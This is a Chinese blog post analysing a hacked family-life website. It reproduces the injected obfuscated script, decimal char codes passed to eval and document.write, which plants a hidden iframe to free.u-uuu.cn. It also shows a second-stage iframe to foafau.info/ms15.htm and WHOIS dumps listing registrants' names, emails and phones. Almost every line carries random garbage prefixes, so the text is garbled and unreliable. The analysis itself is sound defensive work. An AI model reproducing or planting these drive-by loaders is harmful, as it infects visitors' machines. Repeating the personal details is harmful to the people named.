首发在我的博客里面，
Zd+bx*rD 7zc^!LrW< http://www.areway.cn/?p=175 <UCl@5g& /wG2vE8e '+
? X 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
+7}]E 1Uf j<$2hiI/?& <script>t=’60,105,102,114,97,109,101,
l,).p 32,115,114,99,61,104,116,116,112,58,47,47,
G~m<; 102,114,101,101,46,117,45,117,117,117,46,99,
2 < 3K3uz 110,47,101,114,114,111,114,46,104,116,109,
!R$`+wZ62 32,119,105,100,116,104,61,49,48,48,32,104,
\)e'`29; 101,105,103,104,116,61,48,62,60,47,105,102,
6LhTBV 114,97,109,101,62′;
v:#tWEbo- t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
~LC-[ &$ KPk i}'GO <script>t=’60,105,102,114,97,109,101,32,115,
-\MG}5?! 114,99,61,104,116,116,112,58,47,47,102,114,
FI.\%x 101,101,46,117,45,117,117,117,46,99,110,47,
Q b%J8juRf 101,114,114,111,114,46,104,116,109,32,119,
I^ ]nqK 105,100,116,104,61,49,48,48,32,104,101,105,
Vvo 7C!$z 103,104,116,61,48,62,60,47,105,102,114,97,
6\t@)=C,Q 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
dN6?c'iN?2 document.write(t);</script>
7p[n qP
,EBE <html xmlns=”
'"Nr, vQo http://www.w3.org/1999/xhtml ~ri5zb20 “>
naNghGQ <head>
PY'2h4IL <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
2<6 UwF <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
p7 ~!z.)o <title>首页 - 爱生活家庭网
!x) R=Z/C k7^5Bp 8 = 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
(k P9hcV 转换字符串后的大概内容是（谁点击后果自付）：
xD 7]C|8o <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
/{2, zW kx CSs7J/ 查询玉米u-uuu.cn的详细信息：
a9Vi]; Domain Name: u-uuu.cn
JGZ BL{8 ROID: 20070901s10001s64972306-cn
n"8Yv~v*2j Domain Status: ok
EX"yxZ~ Registrant Organization: 王雷
~6gPS
13 Registrant Name: 王雷
@F>D+=hS Administrative Email:
czlovexs@126.com [>9is=>o. Sponsoring Registrar: 北京万网志成科技有限公司
>mkFV@` Name Server:ns.yovole.com
u &e ~1?R Name Server:ns1.yovole.com
YkADk9fE Registration Date: 2007-09-01 17:54
A}w/OA97RO Expiration Date: 2008-09-01 17:54
?A0)L27UE& 最后PING了一下地址 都没有什么….
so s5Y} z9" U!A4 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
.Y|!:t| <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
$Kd>:f=A <script language=”javascript” src=”
7$#u http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script UZ";a 453r >
xx $cnG 这个玉米应该有可能是木马作者的：
BLFdHB.$T foafau.info的详细信息：
8,|k ao: Access to INFO WHOIS information is provided to assist persons in
I 6O determining the contents of a domain name registration record in the
b MBLXk Afilias registry database. The data in this record is provided by
d 'i fLQ\ Afilias Limited for informational purposes only, and Afilias does not
YZ7.1`8 guarantee its accuracy. This service is intended only for query-based
z!\*Y
=e access. You agree that you will use this data only for lawful purposes
7Yy ; and that, under no circumstances will you use this data to: (a) allow,
/V By^ L: enable, or otherwise support the transmission by e-mail, telephone, or
ABkl%m6xf facsimile of mass unsolicited, commercial advertising or solicitations
"jCu6Rj d to entities other than the data recipient’s own existing customers; or
_ dg\\c (b) enable high volume, automated, electronic processes that send
WzWX E( queries or data to the systems of Registry Operator, a Registrar, or
[B3RfCV{ Afilias except as reasonably necessary to register domain names or
0 "#HJA44 modify existing registrations. All rights reserved. Afilias reserves
.]Z"C&"N] the right to modify these terms at any time. By submitting this query,
13f)&#, F you agree to abide by this policy.
)}v l\7= Domain ID:D22418703-LRMS
P
{'b: C Domain Name:FOAFAU.INFO
`_h&glMJ,q Created On:20-Nov-2007 16:05:42 UTC
R#KU^]"( Last Updated On:20-Nov-2007 16:05:44 UTC
8k79&| Expiration Date:20-Nov-2008 16:05:42 UTC
:KO2| v\ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
z%kULTL Status:CLIENT DELETE PROHIBITED
!9x} Status:CLIENT RENEW PROHIBITED
R-Sym8c Status:CLIENT TRANSFER PROHIBITED
$d4n"+7 Status:CLIENT UPDATE PROHIBITED
AwN!;t_0+N Status:TRANSFER PROHIBITED
^@]3R QB Registrant ID:GODA-040110615
`mqMLo * Registrant Name:liu hong
\NC3'G:Ii Registrant Organization:
nFn5v'g Registrant Street1:beijing
N g,j# Registrant Street2:
w
= KPT''! Registrant Street3:
lfg6 646?S Registrant City:beijing
WhDJ7{D Registrant State/Province:
4P0}+ Registrant Postal Code:100000
11lsf/IP Registrant Country:CN
D{!IW!w Registrant Phone:+86.860108888777
EV?z`jE 9 Registrant Phone Ext.:
W!<U85-#S Registrant FAX:
j.YA 2mr Registrant FAX Ext.:
+|rj4j)L&' Registrant Email:bbbshiji@163.com
_*zt=zn> Admin ID:GODA-240110615
SA z Admin Name:liu hong
j!ch5A Admin Organization:
nDW9NQ Admin Street1:beijing
W>LR\]Ti@ Admin Street2:
D,6:EV"sa Admin Street3:
Dz bz)Zst Admin City:beijing
'< M{)? Admin State/Province:
uq{ beC Admin Postal Code:100000
3CJwj Admin Country:CN
cNH7C"@GVu Admin Phone:+86.860108888777
-Y E^zzh Admin Phone Ext.:
;Qq\DFe.w Admin FAX:
~5g ~;f[4 Admin FAX Ext.:
` {Ul! Admin Email:bbbshiji@163.com
1Z;iV<d Billing ID:GODA-340110615
qWw= 8Bq Billing Name:liu hong
o(HbGHIP Billing Organization:
<QvOs@i* Billing Street1:beijing
W%J\ qA Billing Street2:
+v\oOBB) Billing Street3:
NO3/rJ6- Billing City:beijing
#1[u (<AS Billing State/Province:
=QsYXK7Mn4 Billing Postal Code:100000
o}!P Q #`M Billing Country:CN
cu6Op q9 Billing Phone:+86.860108888777
DrQ`]]jj7 Billing Phone Ext.:
/E>e"tvss Billing FAX:
[!z ,lY> Billing FAX Ext.:
u4j5w Billing Email:bbbshiji@163.com
XilS!, Tech ID:GODA-140110615
P%zK;#8V Tech Name:liu hong
CWlw0 X Tech Organization:
M`>E|" < Tech Street1:beijing
1"g<0
W Tech Street2:
g5yJfRLxp Tech Street3:
]?*wbxU0 Tech City:beijing
r3Ykz%6 Tech State/Province:
/o[w4 d8 Tech Postal Code:100000
:% .D78& Tech Country:CN
HV.t6@\}; Tech Phone:+86.860108888777
O84i;S+-p Tech Phone Ext.:
& NWEqBz*2 Tech FAX:
g 'gdgfvn Tech FAX Ext.:
#S(Hd?34, Tech Email:bbbshiji@163.com
v1[29t<I! Name Server:NS27.DOMAINCONTROL.COM
=fbWz Name Server:NS28.DOMAINCONTROL.COM
:r[`.` Name Server:
wbHb;] Name Server:
TNth Name Server:
+ 0~YP*I`/ Name Server:
d5.4l&\u Name Server:
pFXEu= $3 Name Server:
Y 7aqO5 Name Server:
/NlGFO *Z Name Server:
] @'!lh Li Name Server:
N0lC0
N?_J Name Server:
w &(ag$p ' Name Server:
,^:.dFH6 [~^0gAlQC 接着下载每个文件里面的代码：
<!+Az,- 一步一步看..
rc{v$.o0 
yLGRi^d# 
N$DkX)Z 
*Uh!>Iv ; 
RpK@?[4s 
g*Phv|kI 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
